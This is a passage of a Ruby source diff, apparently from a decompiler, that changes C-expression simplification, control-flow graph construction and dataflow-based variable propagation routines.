ce.rexpr.kind_of? C::CExpression and ce.lexpr.op == :'&&' and ce.rexpr.op == :'&&' and + ce.lexpr.lexpr.kind_of? C::CExpression and ce.lexpr.lexpr.op == :< + a, b = ce.lexpr.lexpr.lexpr, ce.lexpr.lexpr.rexpr + if ce.lexpr.rexpr === C::CExpression[[a, :'>=', [0]], :'&&', [b, :'<', [0]]].negate and + ce.rexpr.lexpr === ce.lexpr.lexpr.negate and ce.rexpr.rexpr === ce.lexpr.rexpr.negate + ce.replace C::CExpression[a, :'<', b] + end + end + # a && 1 + if (ce.op == :'||' or ce.op == :'&&') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer + if ((ce.op == :'||' and ce.rexpr.rexpr == 0) or (ce.op == :'&&' and ce.rexpr.rexpr != 0)) + ce.replace C::CExpression[ce.lexpr] + elsif not walk_ce(ce) { |ce_| break true if ce.op == :funcall } # cannot wipe if sideeffect + ce.replace C::CExpression[[ce.op == :'||' ? 1 : 0]] + end + end + # (b < c || b >= c) + if (ce.op == :'||' or ce.op == :'&&') and C::CExpression.negate(ce.lexpr) == C::CExpression[ce.rexpr] + ce.replace C::CExpression[[(ce.op == :'||') ? 1 : 0]] + end + + # (a < b) | (a == b) => a <= b + if ce.op == :| and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :== and ce.lexpr.kind_of? C::CExpression and + (ce.lexpr.op == :< or ce.lexpr.op == :>) and ce.lexpr.lexpr == ce.rexpr.lexpr and ce.lexpr.rexpr == ce.rexpr.rexpr + ce.op = {:< => :<=, :> => :>=}[ce.lexpr.op] + ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr + end + + # a == 0 => !a + if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 + ce.lexpr, ce.op, ce.rexpr = nil, :'!', ce.lexpr + end + + if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer + ce.replace C::CExpression[[ce.rexpr.rexpr == 0 ? 1 : 0]] + end + + # !(bool) => bool + if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and [:'==', :'!=', :<, :>, :<=, :>=, :'||', :'&&', :'!'].include? ce.rexpr.op + ce.replace ce.rexpr.negate + end + + # (foo)(bar)x => (foo)x + if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression + ce.rexpr = ce.rexpr.rexpr + end + + # &struct.1stmember => &struct + if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :'.' and s = ce.rexpr.lexpr.type and + s.kind_of? C::Union and s.offsetof(@c_parser, ce.rexpr.rexpr) == 0 + ce.rexpr = ce.rexpr.lexpr + ce.type = C::Pointer.new(ce.rexpr.type) + end + + # (1stmember*)structptr => &structptr->1stmember + if not ce.op and ce.type.pointer? and not ce.type.pointed.void? and ce.rexpr.kind_of? C::Typed and ce.rexpr.type.pointer? and + s = ce.rexpr.type.pointed.untypedef and s.kind_of? C::Union and ce.type.pointed.untypedef != s + ce.rexpr = C::CExpression[structoffset(s, ce.rexpr, 0, sizeof(ce.type.pointed))] + #ce.replace ce.rexpr if not ce.type.pointed.untypedef.kind_of? C::Function or (ce.rexpr.type.pointer? and + #ce.rexpr.type.pointed.untypedef.kind_of? C::Function) # XXX ugly + # int32* v1 = (int32*)pstruct; + # z = v1+4 if v1 is not cast, the + is invalid (sizeof pointed changes) + # TODO when finding type of pstruct, set type of v1 accordingly + end + + # (&foo)->bar => foo.bar + if ce.op == :'->' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :& and not ce.lexpr.lexpr + ce.lexpr = ce.lexpr.rexpr + ce.op = :'.' + end + + # (foo)bla => bla if bla of type foo + if not ce.op and ce.rexpr.kind_of? C::Typed and sametype[ce.type, ce.rexpr.type] + ce.replace C::CExpression[ce.rexpr] + end + if ce.lexpr.kind_of? C::CExpression and not ce.lexpr.op and ce.lexpr.rexpr.kind_of? C::Variable and ce.lexpr.type == ce.lexpr.rexpr.type + ce.lexpr = ce.lexpr.rexpr + end + + if ce.op == :'=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :* and not ce.lexpr.lexpr and ce.lexpr.rexpr.kind_of? C::CExpression and + not ce.lexpr.rexpr.op and ce.lexpr.rexpr.type.pointer? and ce.lexpr.rexpr.type.pointed != ce.rexpr.type + ce.lexpr.rexpr.type = C::Pointer.new(ce.rexpr.type) + optimize_code(ce.lexpr) + end + } + + # if there is a ptr[4], change all *ptr to ptr[0] for consistency + # do this after the first pass, which may change &*ptr to ptr + walk_ce(scope) { |ce| + if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::Variable and future_array.include? ce.rexpr.name + ce.lexpr, ce.op, ce.rexpr = ce.rexpr, :'[]', C::CExpression[0] + end + } if not future_array.empty? + + # if (x != 0) => if (x) + walk(scope) { |st| + if st.kind_of? C::If and st.test.kind_of? C::CExpression and st.test.op == :'!=' and + st.test.rexpr.kind_of? C::CExpression and not st.test.rexpr.op and st.test.rexpr.rexpr == 0 + st.test = C::CExpression[st.test.lexpr] + end + } + end + + # checks if an expr has sideeffects (funcall, var assignment, mem dereference, use var out of scope if specified) + def sideeffect(exp, scope=nil) + case exp + when nil, ::Numeric, ::String; false + when ::Array; exp.any? { |_e| sideeffect _e, scope } + when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile + when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or + sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) + else true # failsafe + end + end + + # converts C code to a graph of cexprs (nodes = cexprs, edges = codepaths) + # returns a CGraph + class CGraph + # exprs: label => [exprs], to: label => [labels], block: label => are exprs standalone (vs If#test), start: 1st label + attr_accessor :exprs, :to, :block, :start, :to_optim, :from_optim + end + def c_to_graph(st) + g = CGraph.new + g.exprs = {} # label => [exprs] + g.to = {} # label => [labels] + g.block = {} # label => is label in a block? (vs If#test) + anon_label = 0 # when no label is there, use anon_label++ + # converts C code to a graph of codepath of cexprs + to_graph = lambda { |stmt, l_cur, l_after, l_cont, l_break| + case stmt + when C::Label; g.to[l_cur] = [stmt.name] ; g.to[stmt.name] = [l_after] + when C::Goto; g.to[l_cur] = [stmt.target] + when C::Continue; g.to[l_cur] = [l_cont] + when C::Break; g.to[l_cur] = [l_break] + when C::CExpression + g.exprs[l_cur] = [stmt] + g.to[l_cur] = [l_after] + when C::Return + g.exprs[l_cur] = [stmt.value] if stmt.value + g.to[l_cur] = [] + when C::Block + to_graph[stmt.statements, l_cur, l_after, l_cont, l_break] + when ::Array + g.exprs[l_cur] = [] + g.block[l_cur] = true + stmt.each_with_index { |s, i| + case s + when C::Declaration + when C::CExpression + g.exprs[l_cur] << s + else + l = anon_label += 1 + ll = anon_label += 1 + g.to[l_cur] = [l] + g.block[l_cur] = true + to_graph[stmt[i], l, ll, l_cont, l_break] + l_cur = ll + g.exprs[l_cur] = [] + end + } + g.to[l_cur] = [l_after].compact + when C::If + g.exprs[l_cur] = [stmt.test] + lt = anon_label += 1 + to_graph[stmt.bthen, lt, l_after, l_cont, l_break] + le = anon_label += 1 + to_graph[stmt.belse, le, l_after, l_cont, l_break] + g.to[l_cur] = [lt, le] + when C::While, C::DoWhile + la = anon_label += 1 + if stmt.kind_of? C::DoWhile + lt, lb = la, l_cur + else + lt, lb = l_cur, la + end + g.exprs[lt] = [stmt.test] + g.to[lt] = [lb, l_after] + to_graph[stmt.body, lb, lt, lt, l_after] + when C::Asm, nil; g.to[l_cur] = [l_after] + else puts "to_graph unhandled #{stmt.class}: #{stmt}" if $VERBOSE + end + } + + g.start = anon_label + to_graph[st, g.start, nil, nil, nil] + + # optimize graph + g.to_optim = {} + g.to.each { |k, v| g.to_optim[k] = v.uniq } + g.exprs.delete_if { |k, v| v == [] } + g.to_optim.delete_if { |k, v| + if v.length == 1 and not g.exprs[k] and v != [k] + g.to_optim.each_value { |t| if i = t.index(k) ; t[i] = v.first ; end } + true + elsif v.length == 0 and not g.exprs[k] + g.to_optim.each_value { |t| t.delete k } + true + end + } + + g.from_optim = {} + g.to_optim.each { |k, v| v.each { |t| (g.from_optim[t] ||= []) << k } } + + g + end + + # dataflow optimization + # condenses expressions (++x; if (x) => if (++x)) + # remove local var assignment (x = 1; f(x); x = 2; g(x); => f(1); g(2); etc) + def optimize_vars(scope) + return if forbid_optimize_dataflow + + g = c_to_graph(scope) + + # walks a cexpr in evaluation order (not strictly, but this is not strictly defined anyway..) + # returns the first subexpr to read var in ce + # returns :write if var is rewritten + # returns nil if var not read + # may return a cexpr var += 2 + find_next_read_ce = lambda { |ce_, var| + walk_ce(ce_, true) { |ce| + case ce.op + when :funcall + break ce if ce.lexpr == var or ce.rexpr.find { |a| a == var } + when :'=' + # a=a / a=a+1 => yield a, not :write + break ce if ce.rexpr == var + break :write if ce.lexpr == var + else + break ce if ce.lexpr == var or ce.rexpr == var + end + } + } + + # badlabels is a list of labels that may be reached without passing through the first invocation block + find_next_read_rec = lambda { |label, idx, var, done, badlabels| + next if done.include? label + done << label if idx == 0 + + idx += 1 while ce = g.exprs[label].to_a[idx] and not ret = find_next_read_ce[ce, var] + next ret if ret + + to = g.to_optim[label].to_a.map { |t| + break [:split] if badlabels.include? t + find_next_read_rec[t, 0, var, done, badlabels] + }.compact + + tw = to - [:write] if to.include? :split or tw.length > 1 - :split - elsif tw.length == 1 - tw.first - elsif to.include? :write - :write - end - } - # return the previous subexpr reading var with no fwd path to another reading (otherwise split), see loop comment for reason - find_next_read = nil - find_prev_read_rec = lambda { |label, idx, var, done| - next if done.include? label - done << label if idx == g.exprs[label].length-1 - - idx -= 1 while idx >= 0 and ce = g.exprs[label].to_a[idx] and not ret = find_next_read_ce[ce, var] - if ret.kind_of? C::CExpression - fwchk = find_next_read[label, idx+1, var] - ret = fwchk if not fwchk.kind_of? C::CExpression - end - next ret if ret - - from = g.from_optim[label].to_a.map { |f| - find_prev_read_rec[f, g.exprs[f].to_a.length-1, var, done] - }.compact - - next :split if from.include? :split - fw = from - [:write] - if fw.length == 1 - fw.first - elsif fw.length > 1 - :split - elsif from.include? :write - :write - end - } - - # list of labels reachable without using a label - badlab = {} - build_badlabel = lambda { |label| - next if badlab[label] - badlab[label] = [] - todo = [g.start] - while l = todo.pop - next if l == label or badlab[label].include? l - badlab[label] << l - todo.concat g.to_optim[l].to_a - end - } - - # returns the next subexpr where var is read - # returns :write if var is written before being read - # returns :split if the codepath splits with both subpath reading or codepath merges with another - # returns nil if var is never read - # idx is the index of the first cexpr at g.exprs[label] to look at - find_next_read = lambda { |label, idx, var| - find_next_read_rec[label, idx, var, [], []] - } - find_prev_read = lambda { |label, idx, var| - find_prev_read_rec[label, idx, var, []] - } - # same as find_next_read, but returns :split if there exist a path from g.start to the read without passing through label - find_next_read_bl = lambda { |label, idx, var| - build_badlabel[label] - find_next_read_rec[label, idx, var, [], badlab[label]] - } - - # walk each node, optimize data accesses there - # replace no longer useful exprs with CExpr[nil, nil, nil], those are wiped later. - g.exprs.each { |label, exprs| - next if not g.block[label] - i = 0 - while i < exprs.length - e = exprs[i] - i += 1 - - # TODO x = x + 1 => x += 1 => ++x here, move all other optimizations after (in optim_code) - # needs also int & 0xffffffff -> int, *&var etc (decomp_type? optim_type?) - if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and - scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile - next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and - !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) - next if oe.op == :& and not oe.lexpr # no &(++eax) - - # merge pre/postincrement into next/prev var usage - # find_prev_read must fwd check when it finds something, to avoid - # while(x) x++; return x; to be converted to while(x++); return x; (return wrong value) - case oe.op - when e.op - # bla(i--); --i bla(--i); --i ++i; bla(i++) => ignore - next if pos == :pre or oe.lexpr - # ++i; bla(++i) => bla(i += 2) - oe.lexpr = oe.rexpr - oe.op = ((oe.op == :'++') ? :'+=' : :'-=') - oe.rexpr = C::CExpression[2] - - when :'++', :'--' # opposite of e.op - if (pos == :post and not oe.lexpr) or (pos == :pre and not oe.rexpr) - # ++i; bla(--i) => bla(i) - # bla(i--); ++i => bla(i) - oe.op = nil - elsif pos == :post - # ++i; bla(i--) => bla(i+1) - oe.op = ((oe.op == :'++') ? :- : :+) - oe.rexpr = C::CExpression[1] - elsif pos == :pre - # bla(--i); ++i => bla(i-1) - oe.lexpr = oe.rexpr - oe.op = ((oe.op == :'++') ? :+ : :-) - oe.rexpr = C::CExpression[1] - end - when :'+=', :'-=' - # TODO i++; i += 4 => i += 5 - next - when *AssignOp - next # ++i; i |= 4 => ignore - else - if pos == :post and v == oe.lexpr; oe.lexpr = C::CExpression[e.op, v] - elsif pos == :post and v == oe.rexpr; oe.rexpr = C::CExpression[e.op, v] - elsif pos == :prev and v == oe.rexpr; oe.rexpr = C::CExpression[v, e.op] - elsif pos == :prev and v == oe.lexpr; oe.lexpr = C::CExpression[v, e.op] - else raise 'foobar' # find_dir_read failed - end - end - - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - - - elsif e.op == :'=' and v = e.lexpr and v.kind_of? C::Variable and scope.symbol[v.name] and - not v.type.qualifier.to_a.include? :volatile and not find_next_read_ce[e.rexpr, v] - - # reduce trivial static assignments - if (e.rexpr.kind_of? C::CExpression and iv = e.rexpr.reduce(@c_parser) and iv.kind_of? ::Integer) or - (e.rexpr.kind_of? C::CExpression and e.rexpr.op == :& and not e.rexpr.lexpr and e.rexpr.lexpr.kind_of? C::Variable) or - (e.rexpr.kind_of? C::Variable and e.rexpr.type.kind_of? C::Array) - rewritten = false - readers = [] - discard = [e] - g.exprs.each { |l, el| - el.each_with_index { |ce, ci| - if ce_write(ce, v) and [label, i-1] != [l, ci] - if ce == e - discard << ce - else - rewritten = true - break - end - elsif ce_read(ce, v) - if walk_ce(ce) { |_ce| break true if _ce.op == :& and not _ce.lexpr and _ce.rexpr == v } - # i = 2 ; j = &i =!> j = &2 - rewritten = true - break - end - readers << ce - end - } if not rewritten - } - if not rewritten - ce_patch(readers, v, C::CExpression[iv || e.rexpr]) - discard.each { |d| d.lexpr = d.op = d.rexpr = nil } - next - end - end - - case nr = find_next_read[label, i, v] - when C::CExpression - # read in one place only, try to patch rexpr in there - r = e.rexpr - - # must check for conflicts (x = y; y += 1; foo(x) =!> foo(y)) - # XXX x = a[1]; *(a+1) = 28; foo(x)... - isfunc = false - depend_vars = [] - walk_ce(C::CExpression[r]) { |ce| - isfunc = true if ce.op == :func and (not ce.lexpr.kind_of? C::Variable or - not ce.lexpr.has_attribute('pure')) # XXX is there a C attr for func depending only on staticvars+param ? - depend_vars << ce.lexpr if ce.lexpr.kind_of? C::Variable - depend_vars << ce.rexpr if ce.rexpr.kind_of? C::Variable and (ce.lexpr or ce.op != :&) # a = &v; v = 12; func(a) => func(&v) - depend_vars << ce if ce.lvalue? - depend_vars.concat(ce.rexpr.grep(C::Variable)) if ce.rexpr.kind_of? ::Array - } - depend_vars.uniq! - - # XXX x = 1; if () { x = 2; } foo(x) =!> foo(1) (find_next_read will return this) - # we'll just redo a find_next_read like - # XXX b = &a; a = 1; *b = 2; foo(a) unhandled & generate bad C - l_l = label - l_i = i - while g.exprs[l_l].to_a.each_with_index { |ce_, n_i| - next if n_i < l_i - # count occurences of read v in ce_ - cnt = 0 - bad = false - walk_ce(ce_) { |ce| - case ce.op - when :funcall - bad = true if isfunc - ce.rexpr.each { |a| cnt += 1 if a == v } - cnt += 1 if ce.lexpr == v - when :'=' - bad = true if depend_vars.include? ce.lexpr - cnt += 1 if ce.rexpr == v - else - bad = true if (ce.op == :'++' or ce.op == :'--') and depend_vars.include? ce.rexpr - bad = true if AssignOp.include? ce.op and depend_vars.include? ce.lexpr - cnt += 1 if ce.lexpr == v - cnt += 1 if ce.rexpr == v - end - } - case cnt - when 0 + :split + elsif tw.length == 1 + tw.first + elsif to.include? :write + :write + end + } + # return the previous subexpr reading var with no fwd path to another reading (otherwise split), see loop comment for reason + find_next_read = nil + find_prev_read_rec = lambda { |label, idx, var, done| + next if done.include? label + done << label if idx == g.exprs[label].length-1 + + idx -= 1 while idx >= 0 and ce = g.exprs[label].to_a[idx] and not ret = find_next_read_ce[ce, var] + if ret.kind_of? C::CExpression + fwchk = find_next_read[label, idx+1, var] + ret = fwchk if not fwchk.kind_of? C::CExpression + end + next ret if ret + + from = g.from_optim[label].to_a.map { |f| + find_prev_read_rec[f, g.exprs[f].to_a.length-1, var, done] + }.compact + + next :split if from.include? :split + fw = from - [:write] + if fw.length == 1 + fw.first + elsif fw.length > 1 + :split + elsif from.include? :write + :write + end + } + + # list of labels reachable without using a label + badlab = {} + build_badlabel = lambda { |label| + next if badlab[label] + badlab[label] = [] + todo = [g.start] + while l = todo.pop + next if l == label or badlab[label].include? l + badlab[label] << l + todo.concat g.to_optim[l].to_a + end + } + + # returns the next subexpr where var is read + # returns :write if var is written before being read + # returns :split if the codepath splits with both subpath reading or codepath merges with another + # returns nil if var is never read + # idx is the index of the first cexpr at g.exprs[label] to look at + find_next_read = lambda { |label, idx, var| + find_next_read_rec[label, idx, var, [], []] + } + find_prev_read = lambda { |label, idx, var| + find_prev_read_rec[label, idx, var, []] + } + # same as find_next_read, but returns :split if there exist a path from g.start to the read without passing through label + find_next_read_bl = lambda { |label, idx, var| + build_badlabel[label] + find_next_read_rec[label, idx, var, [], badlab[label]] + } + + # walk each node, optimize data accesses there + # replace no longer useful exprs with CExpr[nil, nil, nil], those are wiped later. + g.exprs.each { |label, exprs| + next if not g.block[label] + i = 0 + while i < exprs.length + e = exprs[i] + i += 1 + + # TODO x = x + 1 => x += 1 => ++x here, move all other optimizations after (in optim_code) + # needs also int & 0xffffffff -> int, *&var etc (decomp_type? optim_type?) + if (e.op == :'++' or e.op == :'--') and v = (e.lexpr || e.rexpr) and v.kind_of? C::Variable and + scope.symbol[v.name] and not v.type.qualifier.to_a.include? :volatile + next if !((pos = :post.to_sym) and (oe = find_next_read_bl[label, i, v]) and oe.kind_of? C::CExpression) and + !((pos = :prev.to_sym) and (oe = find_prev_read[label, i-2, v]) and oe.kind_of? C::CExpression) + next if oe.op == :& and not oe.lexpr # no &(++eax) + + # merge pre/postincrement into next/prev var usage + # find_prev_read must fwd check when it finds something, to avoid + # while(x) x++; return x; to be converted to while(x++); return x; (return wrong value) + case oe.op + when e.op + # bla(i--); --i bla(--i); --i ++i; bla(i++) => ignore + next if pos == :pre or oe.lexpr + # ++i; bla(++i) => bla(i += 2) + oe.lexpr = oe.rexpr + oe.op = ((oe.op == :'++') ? :'+=' : :'-=') + oe.rexpr = C::CExpression[2] + + when :'++', :'--' # opposite of e.op + if (pos == :post and not oe.lexpr) or (pos == :pre and not oe.rexpr) + # ++i; bla(--i) => bla(i) + # bla(i--); ++i => bla(i) + oe.op = nil + elsif pos == :post + # ++i; bla(i--) => bla(i+1) + oe.op = ((oe.op == :'++') ? :- : :+) + oe.rexpr = C::CExpression[1] + elsif pos == :pre + # bla(--i); ++i => bla(i-1) + oe.lexpr = oe.rexpr + oe.op = ((oe.op == :'++') ? :+ : :-) + oe.rexpr = C::CExpression[1] + end + when :'+=', :'-=' + # TODO i++; i += 4 => i += 5 + next + when *AssignOp + next # ++i; i |= 4 => ignore + else + if pos == :post and v == oe.lexpr; oe.lexpr = C::CExpression[e.op, v] + elsif pos == :post and v == oe.rexpr; oe.rexpr = C::CExpression[e.op, v] + elsif pos == :prev and v == oe.rexpr; oe.rexpr = C::CExpression[v, e.op] + elsif pos == :prev and v == oe.lexpr; oe.lexpr = C::CExpression[v, e.op] + else raise 'foobar' # find_dir_read failed + end + end + + i -= 1 + exprs.delete_at(i) + e.lexpr = e.op = e.rexpr = nil + + + elsif e.op == :'=' and v = e.lexpr and v.kind_of? C::Variable and scope.symbol[v.name] and + not v.type.qualifier.to_a.include? :volatile and not find_next_read_ce[e.rexpr, v] + + # reduce trivial static assignments + if (e.rexpr.kind_of? C::CExpression and iv = e.rexpr.reduce(@c_parser) and iv.kind_of? ::Integer) or + (e.rexpr.kind_of? C::CExpression and e.rexpr.op == :& and not e.rexpr.lexpr and e.rexpr.lexpr.kind_of? C::Variable) or + (e.rexpr.kind_of? C::Variable and e.rexpr.type.kind_of? C::Array) + rewritten = false + readers = [] + discard = [e] + g.exprs.each { |l, el| + el.each_with_index { |ce, ci| + if ce_write(ce, v) and [label, i-1] != [l, ci] + if ce == e + discard << ce + else + rewritten = true + break + end + elsif ce_read(ce, v) + if walk_ce(ce) { |_ce| break true if _ce.op == :& and not _ce.lexpr and _ce.rexpr == v } + # i = 2 ; j = &i =!> j = &2 + rewritten = true + break + end + readers << ce + end + } if not rewritten + } + if not rewritten + ce_patch(readers, v, C::CExpression[iv || e.rexpr]) + discard.each { |d| d.lexpr = d.op = d.rexpr = nil } + next + end + end + + case nr = find_next_read[label, i, v] + when C::CExpression + # read in one place only, try to patch rexpr in there + r = e.rexpr + + # must check for conflicts (x = y; y += 1; foo(x) =!> foo(y)) + # XXX x = a[1]; *(a+1) = 28; foo(x)... + isfunc = false + depend_vars = [] + walk_ce(C::CExpression[r]) { |ce| + isfunc = true if ce.op == :func and (not ce.lexpr.kind_of? C::Variable or + not ce.lexpr.has_attribute('pure')) # XXX is there a C attr for func depending only on staticvars+param ? + depend_vars << ce.lexpr if ce.lexpr.kind_of? C::Variable + depend_vars << ce.rexpr if ce.rexpr.kind_of? C::Variable and (ce.lexpr or ce.op != :&) # a = &v; v = 12; func(a) => func(&v) + depend_vars << ce if ce.lvalue? + depend_vars.concat(ce.rexpr.grep(C::Variable)) if ce.rexpr.kind_of? ::Array + } + depend_vars.uniq! + + # XXX x = 1; if () { x = 2; } foo(x) =!> foo(1) (find_next_read will return this) + # we'll just redo a find_next_read like + # XXX b = &a; a = 1; *b = 2; foo(a) unhandled & generate bad C + l_l = label + l_i = i + while g.exprs[l_l].to_a.each_with_index { |ce_, n_i| + next if n_i < l_i + # count occurences of read v in ce_ + cnt = 0 + bad = false + walk_ce(ce_) { |ce| + case ce.op + when :funcall + bad = true if isfunc + ce.rexpr.each { |a| cnt += 1 if a == v } + cnt += 1 if ce.lexpr == v + when :'=' + bad = true if depend_vars.include? ce.lexpr + cnt += 1 if ce.rexpr == v + else + bad = true if (ce.op == :'++' or ce.op == :'--') and depend_vars.include? ce.rexpr + bad = true if AssignOp.include? ce.op and depend_vars.include? ce.lexpr + cnt += 1 if ce.lexpr == v + cnt += 1 if ce.rexpr == v + end + } + case cnt + when 0 break if bad - next - when 1 # good - break if e.complexity > 10 and ce_.complexity > 3 # try to keep the C readable - # x = 1; y = x; z = x; => cannot suppress x - nr = find_next_read[l_l, n_i+1, v] - break if (nr.kind_of? C::CExpression or nr == :split) and not walk_ce(ce_) { |ce| break true if ce.op == :'=' and ce.lexpr == v } - else break # a = 1; b = a + a => fail - end - - # TODO XXX x = 1; y = x; z = x; - res = walk_ce(ce_, true) { |ce| - case ce.op - when :funcall - if ce.rexpr.to_a.each_with_index { |a,i_| - next if a != v - ce.rexpr[i_] = r - break :done - } == :done - break :done - elsif ce.lexpr == v - ce.lexpr = r - break :done - elsif isfunc - break :fail - end - when *AssignOp - break :fail if not ce.lexpr and depend_vars.include? ce.rexpr # ++depend - if ce.rexpr == v - ce.rexpr = r - break :done - elsif ce.lexpr == v or depend_vars.include? ce.lexpr - break :fail - end - else - break :fail if ce.op == :& and not ce.lexpr and ce.rexpr == v - if ce.lexpr == v - ce.lexpr = r - break :done - elsif ce.rexpr == v - ce_.type = r.type if not ce_.op and ce_.rexpr == v # return (int32)eax - ce.rexpr = r - break :done - end - end - } - case res - when :done - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - break - when :fail - break - end - } - # ignore branches that will never reuse v - may_to = g.to_optim[l_l].find_all { |to| find_next_read[to, 0, v].kind_of? C::CExpression } - if may_to.length == 1 and to = may_to.first and to != l_l and g.from_optim[to] == [l_l] - l_i = 0 - l_l = to - else break - end - end - - when nil, :write - # useless assignment (value never read later) - # XXX foo = &bar; bar = 12; baz(*foo) - e.replace(C::CExpression[e.rexpr]) - # remove sideeffectless subexprs - loop do - case e.op - when :funcall, *AssignOp - else - l = (e.lexpr.kind_of? C::CExpression and sideeffect(e.lexpr)) - r = (e.rexpr.kind_of? C::CExpression and sideeffect(e.rexpr)) - if l and r # could split... - elsif l - e.replace(e.lexpr) - next - elsif r - e.replace(e.rexpr) - next - else # remove the assignment altogether - i -= 1 - exprs.delete_at(i) - e.lexpr = e.op = e.rexpr = nil - end - end - break - end - end - end - end - } - - # wipe cexprs marked in the previous step - walk(scope) { |st| - next if not st.kind_of? C::Block - st.statements.delete_if { |e| e.kind_of? C::CExpression and not e.lexpr and not e.op and not e.rexpr } - } - - # reoptimize cexprs - walk_ce(scope, true) { |ce| - # redo some simplification that may become available after variable propagation - # int8 & 255 => int8 - if ce.op == :& and ce.lexpr and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr))) - 1 - ce.replace C::CExpression[ce.lexpr] - end - - # int *ptr; *(ptr + 4) => ptr[4] - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? - ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr - end - - # useless casts - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and (ce.rexpr.rexpr.kind_of? C::CExpression or - (ce.type.pointer? and ce.rexpr.rexpr == 0 and not ce.type.pointed.untypedef.kind_of? C::Union)) # keep ((struct*)0)->memb - ce.rexpr = ce.rexpr.rexpr - end - if not ce.op and ce.rexpr.kind_of? C::CExpression and (ce.type == ce.rexpr.type or (ce.type.integral? and ce.rexpr.type.integral?)) - ce.replace ce.rexpr - end - # useless casts (type)*((oeua)Ptype) - if not ce.op and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr and ce.rexpr.rexpr.kind_of? C::CExpression and not ce.rexpr.rexpr.op and - p = ce.rexpr.rexpr.rexpr and p.kind_of? C::Typed and p.type.pointer? and ce.type == p.type.pointed - ce.op = ce.rexpr.op - ce.rexpr = ce.rexpr.rexpr.rexpr - end - # (a > 0) != 0 - if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and - [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op - ce.replace ce.lexpr - end - # a == 0 => !a - if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.replace C::CExpression[:'!', ce.lexpr] - end - # !(int)a => !a - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression - ce.rexpr = ce.rexpr.rexpr - end - # (int)a < (int)b => a < b TODO uint <-> int - if [:<, :<=, :>, :>=].include? ce.op and ce.rexpr.kind_of? C::CExpression and ce.lexpr.kind_of? C::CExpression and not ce.rexpr.op and not ce.lexpr.op and - ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.type.pointer? and ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.type.pointer? - ce.rexpr = ce.rexpr.rexpr - ce.lexpr = ce.lexpr.rexpr - end - - # a & 3 & 1 - while (ce.op == :& or ce.op == :|) and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == ce.op and ce.lexpr.lexpr and - ce.lexpr.rexpr.kind_of? C::CExpression and ce.lexpr.rexpr.rexpr.kind_of? ::Integer - ce.lexpr, ce.rexpr.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr.rexpr.send(ce.op, ce.rexpr.rexpr) - end - - # x = x | 4 => x |= 4 - if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and [:+, :-, :*, :/, :|, :&, :^, :>>, :<<].include? ce.rexpr.op and ce.rexpr.lexpr == ce.lexpr - ce.op = (ce.rexpr.op.to_s + '=').to_sym - ce.rexpr = ce.rexpr.rexpr - end - - # x += 1 => ++x - if (ce.op == :'+=' or ce.op == :'-=') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 - ce.lexpr, ce.op, ce.rexpr = nil, {:'+=' => :'++', :'-=' => :'--'}[ce.op], ce.lexpr - end - - # --x+1 => x-- - if (ce.op == :+ or ce.op == :-) and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == {:+ => :'--', :- => :'++'}[ce.op] and - ce.lexpr.rexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 - ce.lexpr, ce.op, ce.rexpr = ce.lexpr.rexpr, ce.lexpr.op, nil - end - } - end - - def remove_unreferenced_vars(scope) - used = {} - walk_ce(scope) { |ce| - # remove unreferenced local vars - used[ce.rexpr.name] = true if ce.rexpr.kind_of? C::Variable - used[ce.lexpr.name] = true if ce.lexpr.kind_of? C::Variable - ce.rexpr.each { |v| 